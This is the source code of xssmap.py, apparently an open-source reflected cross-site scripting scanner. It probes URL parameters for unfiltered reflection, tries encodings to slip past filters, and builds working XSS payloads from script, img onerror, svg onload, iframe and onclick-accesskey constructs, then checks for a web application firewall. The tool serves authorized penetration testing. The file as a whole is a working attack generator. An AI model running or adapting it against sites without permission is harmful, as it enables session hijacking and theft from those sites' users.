-
Notifications
You must be signed in to change notification settings - Fork 52
/
xssmap.py
executable file
·974 lines (862 loc) · 44.2 KB
/
xssmap.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
#!/usr/bin/env python3
# coding=utf-8
# Author: Jewel591
from data import payloads, test_result
from lib import connect
from lib import format, lists
from lib import output
from lib.output import get_time
from lib import encoding
import random
import string
import re
import os
import signal
import sys
import threading
import time
import urllib.parse
import requests
from lib.argsparse import argsparse
from pip._vendor.distlib.compat import raw_input
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
START_TIME = END_TIME = ""
def main():
"""
Main function of xssmap when running from command line.
"""
global START_TIME, END_TIME
START_TIME = time.time()
print("\n[*] starting @ ", time.strftime("%H:%M:%S /%Y-%m-%d/\n"))
if connect.checkUrlAccessibility() == 0:
sys.exit()
# Specify test parameters or not
elif args.parameter:
checkByParameter(args.parameter)
else:
allparameter = connect.getParameters()
print(output.colour_blue(get_time()), output.colour_green("[INFO]"), "there are " + str(len(allparameter)) + " parameters detected from the input: ", end="")
for key in allparameter.keys():
print(key.strip(), end=" ")
print("")
for target_parameter in list(allparameter.keys()):
checkByParameter(target_parameter)
END_TIME = time.time()
print("\n[*] ending @ ", time.strftime("%H:%M:%S /%Y-%m-%d/\n"))
print("Time-consuming:", END_TIME - START_TIME)
def checkByParameter(parameter):
test_result.target_parameter = parameter
test_result.urldata_init()
payloads.keyword_init()
print(output.colour_blue(get_time()), output.colour_green("[INFO]"),
"start testing parameter \'" + str(test_result.target_parameter) + '\'')
xssmap = XssMap()
if xssmap.checkInjectability() == 0:
return 0
else:
xssmap.checkClosingString()
xssmap.checkClosingTag()
xssmap.checkJSFunction()
xssmap.check_html_event()
xssmap.checkHtmlTag()
xssmap.check_combination_close_yes()
xssmap.check_combination_close_no()
xssmap.checkurlaccessibleInTheEnd()
class XssMap():
def checkInjectability(self):
"""
first test if the parameter can be injected
"""
print(output.colour_blue(get_time()), output.colour_green("[INFO]"),
"testing if the parameter \'" + str(test_result.target_parameter) + '\' is dynamic')
salt_key = ''.join(
random.sample(
string.ascii_letters +
string.digits,
10))
if connect.checkInjectabilityByPayload(salt_key) is 1:
print(output.colour_blue(get_time()), output.colour_green_highlight("[INFO]"), "\033[1mparameter \'" + str(test_result.target_parameter) + '\' might be dynamic\033[0m')
return 1
elif connect.checkInjectabilityByPayload(salt_key) is 0:
print(output.colour_blue(get_time()), output.colour_yellow(
"[WARNING]"), "parameter \'" + str(test_result.target_parameter) + '\' might not be dynamic')
return 0
def checkClosingString(self):
"""
Closing strings
"""
threads = []
maxthreads = 10
sem = threading.Semaphore(maxthreads)
print(output.colour_blue(get_time()), output.colour_green("[INFO]"),
"testing for Reflection xss on parameter \'" + str(test_result.target_parameter) + '\'')
def _worker(payload):
sem.acquire()
if connect.checkInjectabilityByPayload(payload) is 1:
print(output.colour_blue(get_time()),output.colour_green("[INFO]"),'test shows that insertion success — ',payload.replace("591",""))
test_result.whitelist['close'].append(payload)
elif connect.checkInjectabilityByPayload(payload) is 0:
if args.verbose:
print(output.colour_blue(get_time()), output.colour_green("[INFO]"),'test shows that server filtered - - ', payload.replace("591", ""))
test_result.blacklist['close'].append(payload)
sem.release()
for payload in payloads.payloads['close']:
t = threading.Thread(target=_worker, args=(payload,))
threads.append(t)
for thread in threads:
while 1:
if sem._value > 0:
thread.start()
break
for t in threads:
t.join()
# the above tests filter common characters
# 过滤的字符串 url 编码之后再测试
threads.clear()
if len(test_result.blacklist['close']) != 0:
for payload_urlencode in encoding.urlencode_list(test_result.blacklist['close']):
t = threading.Thread(target=_worker, args=(payload_urlencode,))
threads.append(t)
for thread in threads:
while 1:
if sem._value > 0:
thread.start()
break
for t in threads:
t.join()
threads.clear()
def checkClosingTag(self):
"""
Closing tags
"""
threads = []
maxthreads = 10
sem = threading.Semaphore(maxthreads)
threads.clear()
def _worker(payload):
sem.acquire()
if connect.checkInjectabilityByPayload(payload) is 1:
if payload.replace("591","") != "\"" and payload.replace("591","") != "'":
print(output.colour_blue(get_time()),output.colour_green("[INFO]"),'test shows that insertion success — ',payload.replace("591",""))
test_result.whitelist['close_tag'].append(payload)
elif connect.checkInjectabilityByPayload(payload) is 0:
if args.verbose:
print(output.colour_blue(get_time()), output.colour_green("[INFO]"),'test shows that server filtered - - ', payload.replace("591", ""))
test_result.blacklist['close_tag'].append(payload)
sem.release()
# 如果/未过滤,继续测试闭合标签
if re.search("/|%2F", "".join(test_result.whitelist['close'])):
if re.search("/", "".join(test_result.whitelist['close'])):
pass
if re.search("%2F", "".join(test_result.whitelist['close'])):
payloads.payloads['close_tag'] = encoding.urlencode_list_AtoB(payloads.payloads['close_tag'],"/","%2F")
if re.search("<", "".join(test_result.whitelist['close'])):
pass
if re.search("%3C", "".join(test_result.whitelist['close'])):
payloads.payloads['close_tag'] = encoding.urlencode_list_AtoB(payloads.payloads['close_tag'],"<","%3C")
if re.search(">", "".join(test_result.whitelist['close'])):
pass
if re.search("%3E", "".join(test_result.whitelist['close'])):
payloads.payloads['close_tag'] = encoding.urlencode_list_AtoB(payloads.payloads['close_tag'],">","%3E")
for payload in payloads.payloads['close_tag']:
t = threading.Thread(target=_worker, args=(payload,))
threads.append(t)
for thread in threads:
while 1:
if sem._value > 0:
thread.start()
break
for t in threads:
t.join()
return
def checkJSFunction(self):
"""
Javascript Function Testing ...
"""
threads = []
maxthreads = 10
sem = threading.Semaphore(maxthreads)
threads.clear()
def _worker(payload):
# replace("\\\\\\\\","\\\\") 是因为 unicode
# 编码之后,再使用urllib.parse.unquote()会变成 8 个\,这时候正则匹配的是 4 个\,实际只需匹配 2
# 个\,所以要做个replace
if re.search(re.escape(urllib.parse.unquote(urllib.parse.unquote(payload))).replace("\\\\\\\\", "\\\\"), connect.getResponseByPayload(payload)):
print(output.colour_blue(get_time()), output.colour_green("[INFO]"),'test shows that insertion success - ', payload.replace("591", ""))
test_result.whitelist['action'].append(payload)
else:
if args.verbose:
print(output.colour_blue(get_time()), output.colour_green("[INFO]"), 'test shows that server filtered - - ', payload.replace("591", ""))
test_result.blacklist['action'].append(payload)
# 执行线程
for payload in payloads.payloads['action']:
t = threading.Thread(target=_worker, args=(payload,))
threads.append(t)
for thread in threads:
while 1:
if sem._value > 0:
thread.start()
break
for t in threads:
t.join()
# replace () to `, check again
threads.clear()
if len(test_result.blacklist['action']) != 0:
test_result.blacklist['action'] = encoding.urlencode_list_AtoB(test_result.blacklist['action'],"(","`")
test_result.blacklist['action'] = encoding.urlencode_list_AtoB(test_result.blacklist['action'], ")", "`")
for payload_urlencode in test_result.blacklist['action']:
t = threading.Thread(target=_worker, args=(payload_urlencode,))
threads.append(t)
for thread in threads:
while 1:
if sem._value > 0:
thread.start()
break
for t in threads:
t.join()
threads.clear()
if test_result.whitelist['action']:
test_result.signal['action'] = 'yes'
return
# ON 事件测试
def check_html_event(self):
def startcheck(payload):
if connect.checkInjectabilityByPayload(
payload) is 1: # 使用 re.escape()
print(output.colour_blue(get_time()), output.colour_green("[INFO]"),
'test shows that insertion success - ', payload.replace("591", ""))
test_result.whitelist['onevent'].append(payload)
else:
if args.verbose:
print(
"[Failure]:", payload.replace("=591", ""))
test_result.blacklist['onevent'].append(payload)
for p in payloads.payloads['onevent']:
mythread = threading.Thread(target=startcheck(p))
mythread.start()
# if test_result.blacklist['onevent']:
# test_result.signal['onevent'] = 'yes'
# 标签测试
def checkHtmlTag(self):
if ">" not in "".join(test_result.whitelist['close']) and "%3E" not in "".join(test_result.whitelist['close']):
if "<" not in "".join(test_result.whitelist['close']) and "%3C" not in "".join(test_result.whitelist['close']):
print('\033[32;8m[INFO] </> has beed forbid, no tag can injection. \033[0m')
print(output.colour_blue(get_time()), output.colour_green("[INFO]"),
'< > has beed forbid, no tag can injection.')
return
else:
pass
if ">" not in "".join(test_result.whitelist['close']) and "%3E" in "".join(test_result.whitelist['close']):
payloads.payloads['tag'] = format.payloadReplace(
payloads.payloads['tag'], ">", "%3E")
print(
'\033[1;37;8m[!] > >>> %3E \033[0m')
if "<" not in "".join(
test_result.whitelist['close']) and "%3C" in "".join(
test_result.whitelist['close']):
payloads.payloads['tag'] = format.payloadReplace(
payloads.payloads['tag'], "<", "%3C")
print(
'\033[1;37;8m[!] < >>> %3C \033[0m')
def startcheck(payload):
if connect.checkInjectabilityByPayload(payload) is 1:
print(output.colour_blue(get_time()), output.colour_green("[INFO]"),
'test shows that insertion success - ', payload.replace("591", ""))
test_result.whitelist['tag'].append(payload)
else:
if args.verbose:
print(
"[Failure]:", payload.replace("591", ""))
test_result.blacklist['tag'].append(payload)
for p in payloads.payloads['tag']:
mythread = threading.Thread(target=startcheck(p))
mythread.start()
# if test_result.blacklist['tag']:
# test_result.signal['tag'] = 'yes'
return
# 不闭合标签
def check_combination_close_no(self):
print(output.colour_blue(get_time()),output.colour_green("[INFO]"),
"generating payload - unClosed Labels (-v for More Info)")
str591 = ""
for e in test_result.whitelist['close']:
if e == "%22591" or e == "%27591" or e == "\"591" or e == "\'591":
str591 += e.replace("591", "")
# 对"和%22 去重
if "%22" in str591 and "\"" in str591:
str591 = str591.replace("%22", "")
if "%27" in str591 and "\'" in str591:
str591 = str591.replace("%27", "")
if re.search(re.escape("onclick"),"".join(test_result.whitelist['onevent']),re.IGNORECASE) and re.search(re.escape("accesskey"),"".join(test_result.whitelist['onevent']),re.IGNORECASE):
payloads.payloads['combination_close_no'].append(
str591 +
" " +
"onclick=" +
test_result.whitelist['action'][0] +
" " +
"AcCESsKeY=\"j\"" +
" " +
"nsf=" +
str591)
else:
# print("\033[1;31m[INFO]\033[0m The combination of onclick and accesskey cannot be used. If the injection point is in the hidden attribute, it may not be triggered.")
iiss = 1
for e1 in test_result.whitelist['action']:
for e2 in test_result.whitelist['onevent']:
if iiss < 2 and e2 != "AcCESsKeY=591":
if e2 == "oNcLIck=591" and "AcCESsKeY=591" in test_result.whitelist['onevent']:
iiss += 1
if "\"591" in test_result.whitelist['close']:
payloads.payloads['combination_close_no'].append(
str591 +
" " +
e2.replace(
"591",
"") +
e1 +
" " +
"AcCESsKeY=\"j\"" +
" " +
"nsf=" +
str591)
break
if "'591" in test_result.whitelist['close']:
payloads.payloads['combination_close_no'].append(
str591 +
" " +
e2.replace(
"591",
"") +
e1 +
" " +
"AcCESsKeY='j'" +
" " +
"nsf=" +
str591)
break
if "%22591" in test_result.whitelist['close']:
payloads.payloads['combination_close_no'].append(
str591 +
" " +
e2.replace(
"591",
"") +
e1 +
" " +
"AcCESsKeY=%22j%22" +
" " +
"nsf=" +
str591)
break
if "%27591" in test_result.whitelist['close']:
payloads.payloads['combination_close_no'].append(
str591 +
" " +
e2.replace(
"591",
"") +
e1 +
" " +
"AcCESsKeY=%27j%27" +
" " +
"nsf=" +
str591)
else:
payloads.payloads['combination_close_no'].append(
str591 + " " + e2.replace("591", "") + e1 + " " + "nsf=" + str591)
else:
iiss += 1
payloads.payloads['combination_close_no'].append(
str591 + " " + e2.replace("591", "") + e1 + " " + "nsf=" + str591)
try:
if "/591" in test_result.whitelist['close']:
payloads.payloads['combination_close_no'].append(
str591 + ";" + test_result.whitelist['action'][0] + "//")
else:
if "%2f591" in test_result.whitelist['close']:
payloads.payloads['combination_close_no'].append(
str591 + ";" + test_result.whitelist['action'][0] + "%2f%2f")
if "/591" in test_result.whitelist['close']:
payloads.payloads['combination_close_no'].append(
str591 + ";}" + test_result.whitelist['action'][0] + ";{//")
else:
if "%2f591" in test_result.whitelist['close']:
payloads.payloads['combination_close_no'].append(
str591 + ";});" + test_result.whitelist['action'][0] + ";{%2f%2f")
if "/591" in test_result.whitelist['close']:
payloads.payloads['combination_close_no'].append(
str591 + ";});" + test_result.whitelist['action'][0] + ";$(function(){//")
else:
if "%2f591" in test_result.whitelist['close']:
payloads.payloads['combination_close_no'].append(
str591 + ";});" + test_result.whitelist['action'][0] + ";$(function(){%2f%2f")
except BaseException:
pass
# 判断是否onevent 和 action 都被[Failure]
# if test_result.signal['action'] == test_result.signal['onevent'] == 'no':
if len(test_result.whitelist['action'])==0 and len(test_result.whitelist['onevent'])==0:
print(output.colour_blue(get_time()),
"\033[1;31m[WARNING]\033[0m " +
"No payload available " +
"\n")
if len(payloads.payloads['combination_close_no']) == 0:
print(output.colour_blue(get_time()),
"\033[1;31m[INFO]\033[0m " +
"No payload available " +
"\n")
return
else:
print(output.colour_blue(get_time()), output.colour_green("[INFO]"),"Finish generated " +
str(len(payloads.payloads['combination_close_no'])) +
" payloads")
if args.verbose:
for erer in payloads.payloads['combination_close_no']:
print(
"Payload: " +
erer)
# time.sleep(0.1)
# format.breakline()
# print(output.colour_blue(get_time()), output.colour_green("[INFO]"),
# 'test shows that insertion success for ', '\'', payload.replace("591", ""), '\'')
# print("xssmap identified the following payload for parameter '"+str(urldata.target_parameter)+"\' (reflection xss):")
print("xssmap identified the following payload(s) (reflection xss) - unClosed Labels:")
print("---")
print("Parameter:", test_result.target_parameter)
#
def startcheck(payload):
if re.search(
re.escape(
urllib.parse.unquote(
urllib.parse.unquote(payload))).replace(
" ",
".*").replace(
"\\\\\\\\",
"\\\\").replace(
"\\.*",
".*"),
connect.getResponseByPayload(
payload)): # 使用 re.escape()
test_result.whitelist['combination_close_no'].append(payload)
print("\033[37;8m ", payload + "\033[0m")
else:
if args.verbose:
print(
"[Failure]:", payload.replace("591", ""))
test_result.blacklist['combination_close_no'].append(payload)
for p in payloads.payloads['combination_close_no']:
mythread = threading.Thread(target=startcheck(p))
mythread.start()
return
# 闭合测试
def check_combination_close_yes(self):
print(output.colour_blue(get_time()),output.colour_green("[INFO]"),
"generating payload - Closed Labels (-v for More Info..)")
if test_result.signal['action'] == test_result.signal['onevent'] == 'no':
print(
"[!] 弹窗函数 和 ON事件 全被[Failure],不可弹窗,故不再做组合测试".center(7))
return # return 退出整个函数
# 构造 payload
str592 = ""
for e in test_result.whitelist['close']:
if e == "%22591" or e == "%27591" or e == "\"591" or e == "\'591" or e == "/591" or e == "%2f591" or e == ">591" or e == "%3E591":
str592 += e.replace("591", "")
if re.search(
re.escape("script"),
"".join(
test_result.whitelist['tag']),
re.IGNORECASE):
str592 = "</ScRipt>" + str592
pdd = test_result.whitelist['tag'][:]
for pd in pdd:
if "/" not in pd and pd.replace("591",
"").replace(" ",
"") + "/591" in test_result.whitelist['tag']:
test_result.whitelist['tag'].remove(pd)
if ">" not in "".join(
test_result.whitelist['tag']) and "%3E" in "".join(
test_result.whitelist['close']):
payloads.payloads['combination_close_yes'] = format.payloadReplace(
payloads.payloads['combination_close_yes'], ">", "%3E")
for e1 in test_result.whitelist['tag']:
try:
if re.search(re.escape("script"), e1, re.IGNORECASE):
payloads.payloads['combination_close_yes'].append(
str592 + "<ScRipt>" + test_result.whitelist['action'][0] + "</ScRipt>")
if re.search(re.escape("<a>"), e1, re.IGNORECASE):
payloads.payloads['combination_close_yes'].append(
str592 +
"<A" +
" " +
test_result.whitelist['onevent'][0].replace(
"591",
"") +
test_result.whitelist['action'][0] +
">" +
"591</A>")
if re.search(re.escape("input/"), e1, re.IGNORECASE):
payloads.payloads['combination_close_yes'].append(
str592 +
"<iNpUt" +
"/" +
test_result.whitelist['onevent'][0].replace(
"591",
"") +
test_result.whitelist['action'][0] +
"%20")
elif re.search(re.escape("input"), e1, re.IGNORECASE):
payloads.payloads['combination_close_yes'].append(
str592 +
"<iNpUt" +
" " +
test_result.whitelist['onevent'][0].replace(
"591",
"") +
test_result.whitelist['action'][0] +
"%20")
if re.search(re.escape("textarea"), e1, re.IGNORECASE):
payloads.payloads['combination_close_yes'].append(
str592 +
"<teXtaReA" +
"/" +
test_result.whitelist['onevent'][0].replace(
"591",
"") +
test_result.whitelist['action'][0] +
"%20")
elif re.search(re.escape("textarea"), e1, re.IGNORECASE):
payloads.payloads['combination_close_yes'].append(
str592 +
"<teXtaReA" +
" " +
test_result.whitelist['onevent'][0].replace(
"591",
"") +
test_result.whitelist['action'][0] +
"%20")
if re.search(re.escape("select"), e1, re.IGNORECASE):
payloads.payloads['combination_close_yes'].append(
str592 +
"<select" +
"/" +
test_result.whitelist['onevent'][0].replace(
"591",
"") +
test_result.whitelist['action'][0] +
"%20")
elif re.search(re.escape("select"), e1, re.IGNORECASE):
payloads.payloads['combination_close_yes'].append(
str592 +
"<select" +
" " +
test_result.whitelist['onevent'][0].replace(
"591",
"") +
test_result.whitelist['action'][0] +
"%20")
if re.search(
re.escape("video"),
e1,
re.IGNORECASE) and re.search(
re.escape("onerror"),
"".join(
test_result.whitelist['onevent']),
re.IGNORECASE):
payloads.payloads['combination_close_yes'].append(
str592 + "<video><source" + "/" + "oNErroR=" + test_result.whitelist['action'][0] + "%20")
elif re.search(re.escape("video"), e1, re.IGNORECASE) and re.search(re.escape("onerror"),
"".join(test_result.whitelist[
'onevent']),
re.IGNORECASE):
payloads.payloads['combination_close_yes'].append(
str592 + "<video><source" + " " + "oNErroR=" + test_result.whitelist['action'][0] + "%20")
if re.search(
re.escape("img"),
e1,
re.IGNORECASE) and re.search(
re.escape("src"),
"".join(
test_result.whitelist['onevent']),
re.IGNORECASE) and re.search(
re.escape("onerror"),
"".join(
test_result.whitelist['onevent']),
re.IGNORECASE):
payloads.payloads['combination_close_yes'].append(
str592 +
"<ImG" +
"/" +
"src=x" +
"/" +
"OnErrOr=" +
test_result.whitelist['action'][0] +
"%20")
elif re.search(re.escape("img"), e1, re.IGNORECASE) and re.search(re.escape("src"),
"".join(test_result.whitelist[
'onevent']),
re.IGNORECASE) and re.search(
re.escape("onerror"), "".join(test_result.whitelist['onevent']), re.IGNORECASE):
payloads.payloads['combination_close_yes'].append(
str592 +
"<ImG" +
" " +
"src=x" +
" " +
"OnErrOr=" +
test_result.whitelist['action'][0] +
"%20")
if re.search(
re.escape("audio"),
e1,
re.IGNORECASE) and re.search(
re.escape("src"),
"".join(
test_result.whitelist['onevent']),
re.IGNORECASE) and re.search(
re.escape("onerror"),
"".join(
test_result.whitelist['onevent']),
re.IGNORECASE):
payloads.payloads['combination_close_yes'].append(
str592 +
"<AuDiO" +
"/" +
"src=x" +
"/" +
"OnErrOr=" +
test_result.whitelist['action'][0] +
"%20")
elif re.search(re.escape("audio"), e1, re.IGNORECASE) and re.search(re.escape("src"),
"".join(test_result.whitelist[
'onevent']),
re.IGNORECASE) and re.search(
re.escape("onerror"), "".join(test_result.whitelist['onevent']), re.IGNORECASE):
payloads.payloads['combination_close_yes'].append(
str592 +
"<AuDiO" +
" " +
"src=x" +
" " +
"OnErrOr=" +
test_result.whitelist['action'][0] +
"%20")
if re.search(
re.escape("details"),
e1,
re.IGNORECASE) and re.search(
re.escape("ontoggle"),
"".join(
test_result.whitelist['onevent']),
re.IGNORECASE):
payloads.payloads['combination_close_yes'].append(
str592 + "<DeTaIlS" + "/" + "oNToGgle=" + test_result.whitelist['action'][0] + "%20")
elif re.search(re.escape("details"), e1, re.IGNORECASE) and re.search(re.escape("ontoggle"),
"".join(test_result.whitelist[
'onevent']),
re.IGNORECASE):
payloads.payloads['combination_close_yes'].append(
str592 + "<DeTaIlS" + " " + "oNToGgle=" + test_result.whitelist['action'][0] + "%20")
if re.search(
re.escape("body"),
e1,
re.IGNORECASE) and re.search(
re.escape("onload"),
"".join(
test_result.whitelist['onevent']),
re.IGNORECASE):
payloads.payloads['combination_close_yes'].append(
str592 + "<BoDy" + "/" + "oNLoAd=" + test_result.whitelist['action'][0] + "%20")
elif re.search(re.escape("body"), e1, re.IGNORECASE) and re.search(re.escape("onload"),
"".join(test_result.whitelist[
'onevent']),
re.IGNORECASE):
payloads.payloads['combination_close_yes'].append(
str592 + "<BoDy" + " " + "oNLoAd=" + test_result.whitelist['action'][0] + "%20")
if re.search(
re.escape("svg"),
e1,
re.IGNORECASE) and re.search(
re.escape("onload"),
"".join(
test_result.whitelist['onevent']),
re.IGNORECASE):
payloads.payloads['combination_close_yes'].append(
str592 + "<SvG" + "/" + "oNLoAd=" + test_result.whitelist['action'][0] + "%20")
elif re.search(re.escape("svg"), e1, re.IGNORECASE) and re.search(re.escape("onload"),
"".join(test_result.whitelist[
'onevent']),
re.IGNORECASE):
payloads.payloads['combination_close_yes'].append(
str592 + "<SvG" + " " + "oNLoAd=" + test_result.whitelist['action'][0] + "%20")
if re.search(
re.escape("iframe"),
e1,
re.IGNORECASE) and re.search(
re.escape("onload"),
"".join(
test_result.whitelist['onevent']),
re.IGNORECASE):
payloads.payloads['combination_close_yes'].append(
str592 + "<IfrAme" + "/" + "oNLoAd=" + test_result.whitelist['action'][0] + "%20")
elif re.search(re.escape("iframe"), e1, re.IGNORECASE) and re.search(re.escape("onload"),
"".join(test_result.whitelist[
'onevent']),
re.IGNORECASE):
payloads.payloads['combination_close_yes'].append(
str592 + "<IfrAme" + " " + "oNLoAd=" + test_result.whitelist['action'][0] + "%20")
# 用/代替空格
# if re.search(re.escape("input"), e1, re.IGNORECASE):
# payload.keyword['combination_close_yes'].append(
# str592+"<iNpUt"+"/"+urldata.unsensitive['onevent'][0].replace("591", "")+urldata.unsensitive['action'][0]+">")
#
# if re.search(re.escape("textarea"), e1, re.IGNORECASE):
# payload.keyword['combination_close_yes'].append(
# str592+"<teXtaReA"+"/"+urldata.unsensitive['onevent'][0].replace("591",
# "")+urldata.unsensitive['action'][0]+">")
# if re.search(re.escape("select"), e1, re.IGNORECASE):
# payload.keyword['combination_close_yes'].append(
# str592+"<select"+"/"+urldata.unsensitive['onevent'][0].replace("591",
# "")+urldata.unsensitive['action'][0]+">")
# if re.search(re.escape("video"), e1, re.IGNORECASE)and re.search(re.escape("onerror"), "".join(urldata.unsensitive['onevent']), re.IGNORECASE):
# payload.keyword['combination_close_yes'].append(
# str592 + "<video><source" + "/" + "oNErroR="
# +urldata.unsensitive['action'][0] + ">")
# if re.search(re.escape("img"), e1, re.IGNORECASE) and re.search(re.escape("src"), "".join(urldata.unsensitive['onevent']), re.IGNORECASE) and re.search(re.escape("onerror"), "".join(urldata.unsensitive['onevent']), re.IGNORECASE):
# payload.keyword['combination_close_yes'].append(
# str592 + "<ImG" + "/" + "src=x" + "/" + "OnErrOr=" +
# urldata.unsensitive['action'][0] + ">")
# if re.search(re.escape("audio"), e1, re.IGNORECASE) and re.search(re.escape("src"), "".join(urldata.unsensitive['onevent']), re.IGNORECASE) and re.search(re.escape("onerror"), "".join(urldata.unsensitive['onevent']), re.IGNORECASE):
# payload.keyword['combination_close_yes'].append(
# str592 + "<AuDiO" + "/" + "src=x" + "/" + "OnErrOr=" + urldata.unsensitive['action'][0] + ">")
#
# if re.search(re.escape("details"), e1, re.IGNORECASE) and re.search(re.escape("ontoggle"), "".join(urldata.unsensitive['onevent']), re.IGNORECASE):
# payload.keyword['combination_close_yes'].append(
# str592 + "<DeTaIlS" + "/" + "oNToGgle=" + urldata.unsensitive['action'][0] + ">")
#
# if re.search(re.escape("body"), e1, re.IGNORECASE) and re.search(re.escape("onload"), "".join(urldata.unsensitive['onevent']), re.IGNORECASE):
# payload.keyword['combination_close_yes'].append(
# str592 + "<BoDy" + "/" + "oNLoAd=" +
# urldata.unsensitive['action'][0] + ">")
# if re.search(re.escape("svg"), e1, re.IGNORECASE) and re.search(re.escape("onload"), "".join(urldata.unsensitive['onevent']), re.IGNORECASE):
# payload.keyword['combination_close_yes'].append(
# str592 + "<SvG" + "/" + "oNLoAd=" + urldata.unsensitive['action'][0] + ">")
#
# if re.search(re.escape("iframe"), e1, re.IGNORECASE) and re.search(re.escape("onload"), "".join(urldata.unsensitive['onevent']), re.IGNORECASE):
# payload.keyword['combination_close_yes'].append(
# str592 + "<IfrAme" + "/" + "oNLoAd=" +
# urldata.unsensitive['action'][0] + ">")
except BaseException:
pass
if ">" not in "".join(
test_result.whitelist['close']) and "%3E" in "".join(
test_result.whitelist['close']):
payloads.payloads['combination_close_yes'] = format.payloadReplace(
payloads.payloads['combination_close_yes'], ">", "%3E")
if "<" not in "".join(
test_result.whitelist['close']) and "%3C" in "".join(
test_result.whitelist['close']):
payloads.payloads['combination_close_yes'] = format.payloadReplace(
payloads.payloads['combination_close_yes'], "<", "%3C")
if ">" not in "".join(
test_result.whitelist['close']) and "%3E" not in "".join(
test_result.whitelist['close']):
payloads.payloads['combination_close_yes'] = format.payloadReplace(
payloads.payloads['combination_close_yes'], ">", "%20")
if len(payloads.payloads['combination_close_yes']) == 0:
print(
"\033[1;31m[INFO]\033[0m " +
"No payload available " +
"\n")
return
else:
print(output.colour_blue(get_time()), output.colour_green("[INFO]"), "Finish generated " +
str(len(payloads.payloads['combination_close_yes'])) +
" payloads")
if args.verbose:
for erer in payloads.payloads['combination_close_yes']:
print(
"Payload: ", erer)
# format.breakline()
print("xssmap identified the following payload(s) (reflection xss) - Closed Label:")
print("---")
print("Parameter:", test_result.target_parameter)
def startcheck(payload):
if re.search(
re.escape(
urllib.parse.unquote(
urllib.parse.unquote(payload))).replace(
r"\ ",
".*"),
connect.getResponseByPayload(
payload)): # 使用 re.escape()
test_result.whitelist['combination_close_yes'].append(payload)
print("\033[37;8m ", payload + "\033[0m")
else:
if args.verbose:
print(
"[Failure]:", payload)
test_result.blacklist['combination_close_yes'].append(payload)
for p in payloads.payloads['combination_close_yes']:
mythread = threading.Thread(target=startcheck(p))
mythread.start()
return
# waf checking
def checkurlaccessibleInTheEnd(self):
print(output.colour_blue(get_time()), output.colour_green("[INFO]"),
'testing websites for waf protection')
while len(test_result.blacklist['close']) < 1:
return
self.security_strategy = 0
def startcheck(payload):
if re.search(
re.escape(
urllib.parse.unquote(
urllib.parse.unquote(payload))), connect.getResponseByPayload(
payload)): # 使用 re.escape()
pass
else:
self.security_strategy += 1
if self.security_strategy > 1:
print(output.colour_blue(get_time()), output.colour_red("[ERROR]"),"may have waf devices, test results are inaccurate.")
for i in test_result.blacklist['close']:
if self.security_strategy < 2:
startcheck(i)
else:
pass
if self.security_strategy < 2:
pass
